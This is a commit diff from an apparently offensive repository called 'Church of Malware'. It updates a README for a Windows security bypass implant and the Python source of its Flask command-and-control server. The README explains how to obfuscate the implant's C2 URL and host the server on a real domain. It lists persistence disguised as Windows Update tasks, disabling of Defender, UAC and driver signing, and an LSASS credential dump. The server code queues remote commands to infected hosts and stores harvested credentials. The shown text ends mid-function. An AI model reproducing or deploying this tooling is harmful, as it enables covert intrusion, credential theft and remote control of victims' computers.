Compare commits

2 Commits

Author SHA1 Message Date
ek0ms savi0r 0fdc248d10 Update README.md 2026-07-17 02:38:36 +00:00
ek0ms savi0r 6c1fc3c56a Update c2_final.py 2026-07-17 01:56:40 +00:00
2 changed files with 358 additions and 115 deletions
+95 -40
View File
@@ -1,11 +1,10 @@
# Church - Weaponized Windows Security Bypass Framework # Church - Weaponized Windows Security Bypass Framework
``` ```
╔═══════════════════════════════════════════════════════════════════════════╗ ╔═══════════════════════════════════════════════════════════════════════════╗
║ CHURCH OF MALWARE ║ ║ CHURCH OF MALWARE ║
Enterprise Offensive Security Framework Church - Weaponized Windows Security Bypass Framework ║
║ by ek0ms savi0r ║ ║ by ek0ms savi0r ║
╚═══════════════════════════════════════════════════════════════════════════╝ ╚═══════════════════════════════════════════════════════════════════════════╝
``` ```
@@ -103,6 +102,8 @@ CHAR g_aes_iv_obf[] = "\xB1\xB8\xB7..." // 16-byte AES IV
Replace the obfuscated strings with your own XOR-encrypted values using the provided key (0xDD). The C2 server expects matching AES keys. Replace the obfuscated strings with your own XOR-encrypted values using the provided key (0xDD). The C2 server expects matching AES keys.
**Important:** The `g_c2_server_obf` string must contain the full HTTPS URL of your C2 server, including the path `/beacon`. For example, if your domain is `c2.churchofmalware.org`, obfuscate `https://c2.churchofmalware.org/beacon` with XOR key `0xDD`.
--- ---
## Custom Signed Driver Implementation ## Custom Signed Driver Implementation
@@ -116,8 +117,8 @@ Church includes a custom signed driver loader that eliminates reliance on public
5. Falls back to gdrv.sys BYOVD if custom driver fails 5. Falls back to gdrv.sys BYOVD if custom driver fails
To use your own signed driver: To use your own signed driver:
- Replace the g_customDriverBase64 placeholder with your base64-encoded driver - Replace the `g_customDriverBase64` placeholder with your base64-encoded driver
- Ensure your driver implements CHURCH_IOCTL_DISABLE_DSE and CHURCH_IOCTL_EXECUTE_SHELLCODE - Ensure your driver implements `CHURCH_IOCTL_DISABLE_DSE` and `CHURCH_IOCTL_EXECUTE_SHELLCODE`
- Sign the driver with a valid code-signing certificate - Sign the driver with a valid code-signing certificate
--- ---
@@ -133,63 +134,117 @@ The C2 server is fully hardened with the following security features:
- Rate limiting on all API endpoints (10-30 requests per minute) - Rate limiting on all API endpoints (10-30 requests per minute)
- HttpOnly, Secure session cookies for web UI - HttpOnly, Secure session cookies for web UI
Install dependencies: **New in v2.1: Built-in Beacon Parser & Lantern.js Graph Compatibility**
The C2 server now includes a dedicated parser that decrypts incoming beacon data and converts it into structured JSON, as well as a graph format compatible with the Lantern.js visualization frontend. This enables seamless integration with modern threat intelligence dashboards and real-time monitoring.
Parser endpoints provide:
- **Decryption and parsing** of raw encrypted beacon data
- **Graph conversion** for Lantern.js (nodes/edges/environments)
- **Result parsing** with automatic audit logging
### Production Deployment with a Real Domain
In a real operation, you would deploy the C2 server on a public domain with a valid TLS certificate. The steps are:
1. **Obtain a domain** (e.g., `c2.churchofmalware.org`) and point its DNS to your server's IP.
2. **Acquire a trusted SSL certificate** (e.g., from Let's Encrypt or a commercial CA) for that domain.
3. **Configure the C2 server** to use that certificate and key.
4. **Update the implant's obfuscated C2 string** to match your domain before compiling.
**Example (using Let's Encrypt):**
```bash
# Install certbot and obtain certificate
certbot certonly --standalone -d c2.churchofmalware.org
# The certificate and key will be in /etc/letsencrypt/live/c2.churchofmalware.org/
# Copy them to your C2 directory and run:
python church_c2_server.py --host 0.0.0.0 --port 443 --cert fullchain.pem --key privkey.pem
```
**Obfuscating your C2 URL for the implant:**
Use the included XOR utility (or a Python oneliner) to generate the obfuscated bytes for your domain:
```python
XOR_KEY = 0xDD
url = "https://c2.churchofmalware.org/beacon"
obf = ''.join(f'\\x{(ord(c) ^ XOR_KEY):02X}' for c in url)
print(obf)
# Output: \x78\x9D\x9D... (use this to replace g_c2_server_obf)
```
### Local Testing (SelfSigned Certificate)
For testing purposes only, you can use a selfsigned certificate:
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
python church_c2_server.py --host 127.0.0.1 --port 8443 --cert cert.pem --key key.pem
```
Then access `https://127.0.0.1:8443` (or `localhost`) and bypass the browser warning.
---
### Dependencies
```bash ```bash
pip install flask flask-socketio cryptography werkzeug flask-limiter pip install flask flask-socketio cryptography werkzeug flask-limiter
``` ```
Generate SSL certificate: ---
```bash ### C2 API Endpoints
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
```
Run the C2 server:
```bash
python church_c2_server.py --host 0.0.0.0 --port 443 --cert cert.pem --key key.pem
```
Configure admin credentials via environment variables or config file:
```bash
export CHURCH_ADMIN_USER="admin"
export CHURCH_ADMIN_HASH="$(python -c 'from werkzeug.security import generate_password_hash; print(generate_password_hash("yourpassword"))')"
```
C2 API Endpoints:
```bash ```bash
# List all beacons # List all beacons
curl -H "X-Auth-Token: <JWT_SECRET>" https://localhost/api/beacons curl -H "X-Auth-Token: <JWT_SECRET>" https://your-c2-domain/api/beacons
# Execute command on beacon # Execute command on beacon
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \ curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
-d '{"host": "beacon_id", "command": "whoami"}' \ -d '{"host": "beacon_id", "command": "whoami"}' \
https://localhost/api/task https://your-c2-domain/api/task
# Execute PowerShell command # Execute PowerShell command
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \ curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
-d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \ -d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \
https://localhost/api/task https://your-c2-domain/api/task
# Get beacon details # Get beacon details
curl -H "X-Auth-Token: <JWT_SECRET>" \ curl -H "X-Auth-Token: <JWT_SECRET>" \
https://localhost/api/beacon/<beacon_id> https://your-c2-domain/api/beacon/<beacon_id>
# Get task history # Get task history
curl -H "X-Auth-Token: <JWT_SECRET>" \ curl -H "X-Auth-Token: <JWT_SECRET>" \
https://localhost/api/tasks/<beacon_id> https://your-c2-domain/api/tasks/<beacon_id>
# Get system statistics # Get system statistics
curl -H "X-Auth-Token: <JWT_SECRET>" \ curl -H "X-Auth-Token: <JWT_SECRET>" \
https://localhost/api/stats https://your-c2-domain/api/stats
# --- NEW PARSER ENDPOINTS (v2.1) ---
# Parse raw beacon data and return both decrypted JSON and graph format
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
-d "d=<encrypted_base64>" \
https://your-c2-domain/api/beacon/parse
# Convert raw beacon data directly to js graph format
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
-d "d=<encrypted_base64>" \
https://your-c2-domain/api/beacon/graph
# Parse command result and log it as an audit event
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
-d "d=<encrypted_result_base64>" \
https://your-c2-domain/api/beacon/result/parse
``` ```
Web UI Access: https://c2-server:443 Web UI Access: `https://your-c2-domain`
--- ---
@@ -201,7 +256,7 @@ Run the compiled executable as Administrator:
church.exe church.exe
``` ```
The tool auto-elevates if not already running with administrative privileges. The tool autoelevates if not already running with administrative privileges.
--- ---
@@ -209,17 +264,17 @@ The tool auto-elevates if not already running with administrative privileges.
After Church executes and forces a system reboot, the following persistent mechanisms remain active: After Church executes and forces a system reboot, the following persistent mechanisms remain active:
1. Persistence Triggers: 1. **Persistence Triggers:**
- Scheduled task "WindowsUpdateTask" runs the Church binary at user login - Scheduled task "WindowsUpdateTask" runs the Church binary at user login
- Scheduled task "MicrosoftUpdateTask" runs daily at 09:00 - Scheduled task "MicrosoftUpdateTask" runs daily at 09:00
- WMI event subscription triggers on explorer.exe startup - WMI event subscription triggers on explorer.exe startup
- Windows service "WindowsUpdateService" auto-starts - Windows service "WindowsUpdateService" autostarts
- Registry Run key executes the binary at boot - Registry Run key executes the binary at boot
- BootExecute registry entry runs the binary during system initialization - BootExecute registry entry runs the binary during system initialization
- IFEO Debugger for svchost.exe and explorer.exe triggers execution - IFEO Debugger for svchost.exe and explorer.exe triggers execution
- Silent Process Exit Monitor relaunches the binary when svchost.exe exits - Silent Process Exit Monitor relaunches the binary when svchost.exe exits
2. Disabled Protections (Persist Across Reboots): 2. **Disabled Protections (Persist Across Reboots):**
- Windows Defender service disabled (WinDefend) - Windows Defender service disabled (WinDefend)
- Tamper Protection registry key set to 0 - Tamper Protection registry key set to 0
- UAC disabled (EnableLUA = 0) - UAC disabled (EnableLUA = 0)
@@ -228,17 +283,17 @@ After Church executes and forces a system reboot, the following persistent mecha
- DSE remains disabled (kernel patched) - DSE remains disabled (kernel patched)
- System Restore disabled - System Restore disabled
3. C2 Beacon: 3. **C2 Beacon:**
- The binary auto-starts via multiple persistence mechanisms - The binary autostarts via multiple persistence mechanisms
- Beacon thread begins sending HTTPS requests to the configured C2 server - Beacon thread begins sending HTTPS requests to the configured C2 server
- System information (computer name, user, OS, Defender status, AV products) is transmitted - System information (computer name, user, OS, Defender status, AV products) is transmitted
- The beacon waits for commands from the C2 server - The beacon waits for commands from the C2 server
4. Credential Access: 4. **Credential Access:**
- LSASS dump file (C:\lsass.dmp) remains on disk with hidden attribute - LSASS dump file (C:\lsass.dmp) remains on disk with hidden attribute
- Can be extracted and processed with Mimikatz offline - Can be extracted and processed with Mimikatz offline
5. Network Access: 5. **Network Access:**
- Firewall rules allow outbound HTTPS on port 443 - Firewall rules allow outbound HTTPS on port 443
- Telemetry domains blocked in hosts file - Telemetry domains blocked in hosts file
- DNS over HTTPS configured for stealth - DNS over HTTPS configured for stealth
@@ -249,4 +304,4 @@ The target system remains fully compromised with remote access via the C2 channe
## Disclaimer ## Disclaimer
FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY. FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY. The Church of Malware assumes no liability for misuse.
+263 -75
View File
@@ -103,13 +103,13 @@ app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024 app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024
# Rate limiter # Rate limiter fixed for flask-limiter >= 4.0
limiter = Limiter( limiter = Limiter(
app,
key_func=get_remote_address, key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"], default_limits=["200 per day", "50 per hour"],
storage_uri="memory://" storage_uri="memory://"
) )
limiter.init_app(app)
# SocketIO with strict CORS # SocketIO with strict CORS
socketio = SocketIO( socketio = SocketIO(
@@ -124,7 +124,7 @@ def init_database():
"""Initialize SQLite database with all tables (idempotent)""" """Initialize SQLite database with all tables (idempotent)"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS beacons ( c.execute('''CREATE TABLE IF NOT EXISTS beacons (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT UNIQUE NOT NULL, beacon_id TEXT UNIQUE NOT NULL,
@@ -147,7 +147,7 @@ def init_database():
sleep_time INTEGER DEFAULT 120, sleep_time INTEGER DEFAULT 120,
notes TEXT notes TEXT
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS tasks ( c.execute('''CREATE TABLE IF NOT EXISTS tasks (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@@ -161,7 +161,7 @@ def init_database():
completed_at REAL, completed_at REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS results ( c.execute('''CREATE TABLE IF NOT EXISTS results (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@@ -170,7 +170,7 @@ def init_database():
timestamp REAL, timestamp REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS files ( c.execute('''CREATE TABLE IF NOT EXISTS files (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@@ -182,7 +182,7 @@ def init_database():
created_at REAL, created_at REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS credentials ( c.execute('''CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@@ -193,7 +193,7 @@ def init_database():
timestamp REAL, timestamp REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS screenshots ( c.execute('''CREATE TABLE IF NOT EXISTS screenshots (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@@ -201,14 +201,14 @@ def init_database():
timestamp REAL, timestamp REAL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS tags ( c.execute('''CREATE TABLE IF NOT EXISTS tags (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
tag TEXT NOT NULL, tag TEXT NOT NULL,
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS users ( c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL, username TEXT UNIQUE NOT NULL,
@@ -216,7 +216,7 @@ def init_database():
role TEXT DEFAULT 'operator', role TEXT DEFAULT 'operator',
created_at REAL created_at REAL
)''') )''')
c.execute('''CREATE TABLE IF NOT EXISTS audit_log ( c.execute('''CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT, username TEXT,
@@ -225,13 +225,13 @@ def init_database():
timestamp REAL, timestamp REAL,
ip_address TEXT ip_address TEXT
)''') )''')
# Insert default admin if not exists # Insert default admin if not exists
c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,)) c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,))
if not c.fetchone(): if not c.fetchone():
c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)", c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)",
(ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time())) (ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time()))
conn.commit() conn.commit()
conn.close() conn.close()
@@ -248,7 +248,7 @@ class CryptoManager:
plaintext = decryptor.update(ciphertext) + decryptor.finalize() plaintext = decryptor.update(ciphertext) + decryptor.finalize()
pad_len = plaintext[-1] pad_len = plaintext[-1]
return plaintext[:-pad_len] if pad_len <= 16 else plaintext return plaintext[:-pad_len] if pad_len <= 16 else plaintext
@staticmethod @staticmethod
def encrypt_aes(plaintext: bytes) -> str: def encrypt_aes(plaintext: bytes) -> str:
"""AES-256-CBC encryption without extra whitespace""" """AES-256-CBC encryption without extra whitespace"""
@@ -285,10 +285,10 @@ class Beacon:
jitter_max: int = 180 jitter_max: int = 180
sleep_time: int = 120 sleep_time: int = 120
notes: str = "" notes: str = ""
def to_dict(self) -> dict: def to_dict(self) -> dict:
return asdict(self) return asdict(self)
@staticmethod @staticmethod
def from_db_row(row) -> 'Beacon': def from_db_row(row) -> 'Beacon':
return Beacon( return Beacon(
@@ -306,7 +306,7 @@ class BeaconManager:
self._beacons: Dict[str, Beacon] = {} self._beacons: Dict[str, Beacon] = {}
self._lock = threading.Lock() self._lock = threading.Lock()
self._load_from_db() self._load_from_db()
def _load_from_db(self): def _load_from_db(self):
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
@@ -315,11 +315,11 @@ class BeaconManager:
beacon = Beacon.from_db_row(row) beacon = Beacon.from_db_row(row)
self._beacons[beacon.beacon_id] = beacon self._beacons[beacon.beacon_id] = beacon
conn.close() conn.close()
def update_beacon(self, data: dict) -> Beacon: def update_beacon(self, data: dict) -> Beacon:
# Use UUID to avoid collisions # Use UUID to avoid collisions
beacon_id = self._generate_beacon_id(data['computer'], data['user']) beacon_id = self._generate_beacon_id(data['computer'], data['user'])
with self._lock: with self._lock:
if beacon_id not in self._beacons: if beacon_id not in self._beacons:
beacon = Beacon( beacon = Beacon(
@@ -348,7 +348,7 @@ class BeaconManager:
beacon.defender_status = data.get('defender', beacon.defender_status) beacon.defender_status = data.get('defender', beacon.defender_status)
self._update_beacon(beacon) self._update_beacon(beacon)
return beacon return beacon
def _generate_beacon_id(self, computer: str, user: str) -> str: def _generate_beacon_id(self, computer: str, user: str) -> str:
"""Unique beacon ID using UUID to avoid collisions""" """Unique beacon ID using UUID to avoid collisions"""
# Use deterministic UUID v5 based on computer+user to keep same ID across sessions # Use deterministic UUID v5 based on computer+user to keep same ID across sessions
@@ -356,11 +356,11 @@ class BeaconManager:
namespace = uuid.NAMESPACE_DNS namespace = uuid.NAMESPACE_DNS
name = f"{computer}\\{user}" name = f"{computer}\\{user}"
return str(uuid.uuid5(namespace, name)) return str(uuid.uuid5(namespace, name))
def _save_beacon(self, beacon: Beacon): def _save_beacon(self, beacon: Beacon):
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute('''INSERT OR REPLACE INTO beacons c.execute('''INSERT OR REPLACE INTO beacons
(beacon_id, computer_name, username, process_id, os_version, is_admin, (beacon_id, computer_name, username, process_id, os_version, is_admin,
path, defender_status, uptime, install_date, domain, antivirus, path, defender_status, uptime, install_date, domain, antivirus,
first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes) first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes)
@@ -373,10 +373,10 @@ class BeaconManager:
beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes)) beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes))
conn.commit() conn.commit()
conn.close() conn.close()
def _update_beacon(self, beacon: Beacon): def _update_beacon(self, beacon: Beacon):
self._save_beacon(beacon) self._save_beacon(beacon)
def get_pending_tasks(self, beacon_id: str) -> List[dict]: def get_pending_tasks(self, beacon_id: str) -> List[dict]:
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
@@ -384,16 +384,16 @@ class BeaconManager:
tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()] tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()]
conn.close() conn.close()
return tasks return tasks
def mark_task_completed(self, task_id: int, output: str): def mark_task_completed(self, task_id: int, output: str):
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?", c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?",
(output, time.time(), task_id)) (output, time.time(), task_id))
conn.commit() conn.commit()
conn.close() conn.close()
self._audit("task_completed", str(task_id)) self._audit("task_completed", str(task_id))
def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int: def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int:
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
@@ -405,7 +405,7 @@ class BeaconManager:
conn.close() conn.close()
self._audit("task_added", f"{beacon_id}: {command}") self._audit("task_added", f"{beacon_id}: {command}")
return task_id return task_id
def _audit(self, action: str, target: str): def _audit(self, action: str, target: str):
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
@@ -413,15 +413,16 @@ class BeaconManager:
("system", action, target, time.time(), "127.0.0.1")) ("system", action, target, time.time(), "127.0.0.1"))
conn.commit() conn.commit()
conn.close() conn.close()
def get_all_beacons(self) -> List[Beacon]: def get_all_beacons(self) -> List[Beacon]:
with self._lock: with self._lock:
return list(self._beacons.values()) return list(self._beacons.values())
def get_beacon(self, beacon_id: str) -> Optional[Beacon]: def get_beacon(self, beacon_id: str) -> Optional[Beacon]:
return self._beacons.get(beacon_id) return self._beacons.get(beacon_id)
beacon_manager = BeaconManager() # instantiate beacon_manager later after DB init
beacon_manager = None
# ==================== WEB UI TEMPLATES ==================== # ==================== WEB UI TEMPLATES ====================
HTML_TEMPLATE = ''' HTML_TEMPLATE = '''
@@ -431,9 +432,9 @@ HTML_TEMPLATE = '''
<title>CHURCH C2 - Command & Control</title> <title>CHURCH C2 - Command & Control</title>
<style> <style>
* { margin: 0; padding: 0; box-sizing: border-box; } * { margin: 0; padding: 0; box-sizing: border-box; }
body { body {
font-family: 'Courier New', monospace; font-family: 'Courier New', monospace;
background: #0a0e27; background: #0a0e27;
color: #00ffaa; color: #00ffaa;
padding: 20px; padding: 20px;
} }
@@ -569,7 +570,7 @@ HTML_TEMPLATE = '''
<h1> CHURCH C2 </h1> <h1> CHURCH C2 </h1>
<p>Command & Control Framework v{{ version }} | Encrypted Channel Active</p> <p>Command & Control Framework v{{ version }} | Encrypted Channel Active</p>
</div> </div>
<div class="stats"> <div class="stats">
<div class="stat-card"> <div class="stat-card">
<div class="number" id="onlineCount">0</div> <div class="number" id="onlineCount">0</div>
@@ -584,7 +585,7 @@ HTML_TEMPLATE = '''
<div class="label">Credentials Harvested</div> <div class="label">Credentials Harvested</div>
</div> </div>
</div> </div>
<div class="beacon-table"> <div class="beacon-table">
<table> <table>
<thead> <thead>
@@ -593,7 +594,7 @@ HTML_TEMPLATE = '''
<tbody id="beaconList"></tbody> <tbody id="beaconList"></tbody>
</table> </table>
</div> </div>
<div class="command-bar"> <div class="command-bar">
<h3>Command Interface</h3> <h3>Command Interface</h3>
<select id="targetBeacon"> <select id="targetBeacon">
@@ -613,7 +614,7 @@ HTML_TEMPLATE = '''
<input type="text" id="commandInput" placeholder="Enter command..."> <input type="text" id="commandInput" placeholder="Enter command...">
<button onclick="sendCommand()">EXECUTE</button> <button onclick="sendCommand()">EXECUTE</button>
</div> </div>
<div id="beaconModal" class="modal"> <div id="beaconModal" class="modal">
<div class="modal-content"> <div class="modal-content">
<span class="close" onclick="closeModal()">&times;</span> <span class="close" onclick="closeModal()">&times;</span>
@@ -624,15 +625,15 @@ HTML_TEMPLATE = '''
<button onclick="sendQuickCommand()" style="margin-top:10px;">Execute</button> <button onclick="sendQuickCommand()" style="margin-top:10px;">Execute</button>
</div> </div>
</div> </div>
<script> <script>
var socket = io(); var socket = io();
var currentBeacon = null; var currentBeacon = null;
socket.on('connect', function() { console.log('Connected to C2 server'); }); socket.on('connect', function() { console.log('Connected to C2 server'); });
socket.on('beacon_update', function(data) { refreshBeacons(); }); socket.on('beacon_update', function(data) { refreshBeacons(); });
socket.on('task_result', function(data) { updateLog(data); }); socket.on('task_result', function(data) { updateLog(data); });
function refreshBeacons() { function refreshBeacons() {
fetch('/api/beacons') fetch('/api/beacons')
.then(res => res.json()) .then(res => res.json())
@@ -642,7 +643,7 @@ HTML_TEMPLATE = '''
tbody.innerHTML = ''; tbody.innerHTML = '';
select.innerHTML = '<option value="">Select Beacon</option>'; select.innerHTML = '<option value="">Select Beacon</option>';
document.getElementById('onlineCount').innerText = data.length; document.getElementById('onlineCount').innerText = data.length;
data.forEach(beacon => { data.forEach(beacon => {
var row = tbody.insertRow(); var row = tbody.insertRow();
row.onclick = function() { showBeacon(beacon.beacon_id); }; row.onclick = function() { showBeacon(beacon.beacon_id); };
@@ -654,7 +655,7 @@ HTML_TEMPLATE = '''
row.insertCell(5).innerHTML = beacon.defender_status == 1 ? 'Disabled' : beacon.defender_status == 0 ? 'Enabled' : 'Unknown'; row.insertCell(5).innerHTML = beacon.defender_status == 1 ? 'Disabled' : beacon.defender_status == 0 ? 'Enabled' : 'Unknown';
row.insertCell(6).innerHTML = new Date(beacon.last_seen * 1000).toLocaleString(); row.insertCell(6).innerHTML = new Date(beacon.last_seen * 1000).toLocaleString();
row.insertCell(7).innerHTML = '<span class="status-active">● Active</span>'; row.insertCell(7).innerHTML = '<span class="status-active">● Active</span>';
var opt = document.createElement('option'); var opt = document.createElement('option');
opt.value = beacon.beacon_id; opt.value = beacon.beacon_id;
opt.text = beacon.computer_name + '\\' + beacon.username; opt.text = beacon.computer_name + '\\' + beacon.username;
@@ -662,14 +663,14 @@ HTML_TEMPLATE = '''
}); });
}); });
} }
function sendCommand() { function sendCommand() {
var beacon = document.getElementById('targetBeacon').value; var beacon = document.getElementById('targetBeacon').value;
var command = document.getElementById('commandInput').value; var command = document.getElementById('commandInput').value;
var preset = document.getElementById('commandPreset').value; var preset = document.getElementById('commandPreset').value;
if (preset) command = preset; if (preset) command = preset;
if (!beacon || !command) return; if (!beacon || !command) return;
fetch('/api/task', { fetch('/api/task', {
method: 'POST', method: 'POST',
headers: {'Content-Type': 'application/json'}, headers: {'Content-Type': 'application/json'},
@@ -679,14 +680,14 @@ HTML_TEMPLATE = '''
document.getElementById('commandInput').value = ''; document.getElementById('commandInput').value = '';
}); });
} }
function showBeacon(beaconId) { function showBeacon(beaconId) {
currentBeacon = beaconId; currentBeacon = beaconId;
fetch('/api/beacon/' + beaconId) fetch('/api/beacon/' + beaconId)
.then(res => res.json()) .then(res => res.json())
.then(data => { .then(data => {
document.getElementById('modalTitle').innerHTML = 'Beacon: ' + data.computer_name; document.getElementById('modalTitle').innerHTML = 'Beacon: ' + data.computer_name;
document.getElementById('modalContent').innerHTML = document.getElementById('modalContent').innerHTML =
'<p><strong>User:</strong> ' + data.username + '</p>' + '<p><strong>User:</strong> ' + data.username + '</p>' +
'<p><strong>OS:</strong> ' + data.os_version + '</p>' + '<p><strong>OS:</strong> ' + data.os_version + '</p>' +
'<p><strong>Admin:</strong> ' + (data.is_admin ? 'Yes' : 'No') + '</p>' + '<p><strong>Admin:</strong> ' + (data.is_admin ? 'Yes' : 'No') + '</p>' +
@@ -698,7 +699,7 @@ HTML_TEMPLATE = '''
loadCommandLog(beaconId); loadCommandLog(beaconId);
}); });
} }
function loadCommandLog(beaconId) { function loadCommandLog(beaconId) {
fetch('/api/tasks/' + beaconId) fetch('/api/tasks/' + beaconId)
.then(res => res.json()) .then(res => res.json())
@@ -711,7 +712,7 @@ HTML_TEMPLATE = '''
}); });
}); });
} }
function sendQuickCommand() { function sendQuickCommand() {
var cmd = document.getElementById('quickCommand').value; var cmd = document.getElementById('quickCommand').value;
if (!currentBeacon || !cmd) return; if (!currentBeacon || !cmd) return;
@@ -724,11 +725,11 @@ HTML_TEMPLATE = '''
document.getElementById('quickCommand').value = ''; document.getElementById('quickCommand').value = '';
}); });
} }
function closeModal() { function closeModal() {
document.getElementById('beaconModal').style.display = 'none'; document.getElementById('beaconModal').style.display = 'none';
} }
setInterval(refreshBeacons, 5000); setInterval(refreshBeacons, 5000);
refreshBeacons(); refreshBeacons();
</script> </script>
@@ -756,13 +757,13 @@ def login():
data = request.json data = request.json
username = data.get('username') username = data.get('username')
password = data.get('password') password = data.get('password')
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("SELECT password_hash, role FROM users WHERE username = ?", (username,)) c.execute("SELECT password_hash, role FROM users WHERE username = ?", (username,))
row = c.fetchone() row = c.fetchone()
conn.close() conn.close()
if row and check_password_hash(row[0], password): if row and check_password_hash(row[0], password):
session['authenticated'] = True session['authenticated'] = True
session['username'] = username session['username'] = username
@@ -822,19 +823,19 @@ def beacon_handler():
data = request.form.get('d') or request.form.get('data') data = request.form.get('d') or request.form.get('data')
if not data: if not data:
return "No data", 400 return "No data", 400
try: try:
decrypted = CryptoManager.decrypt_aes(data) decrypted = CryptoManager.decrypt_aes(data)
beacon_data = json.loads(decrypted.decode()) beacon_data = json.loads(decrypted.decode())
except Exception as e: except Exception as e:
logging.error(f"Decrypt failed: {e}") logging.error(f"Decrypt failed: {e}")
return "Bad data", 400 return "Bad data", 400
beacon = beacon_manager.update_beacon(beacon_data) beacon = beacon_manager.update_beacon(beacon_data)
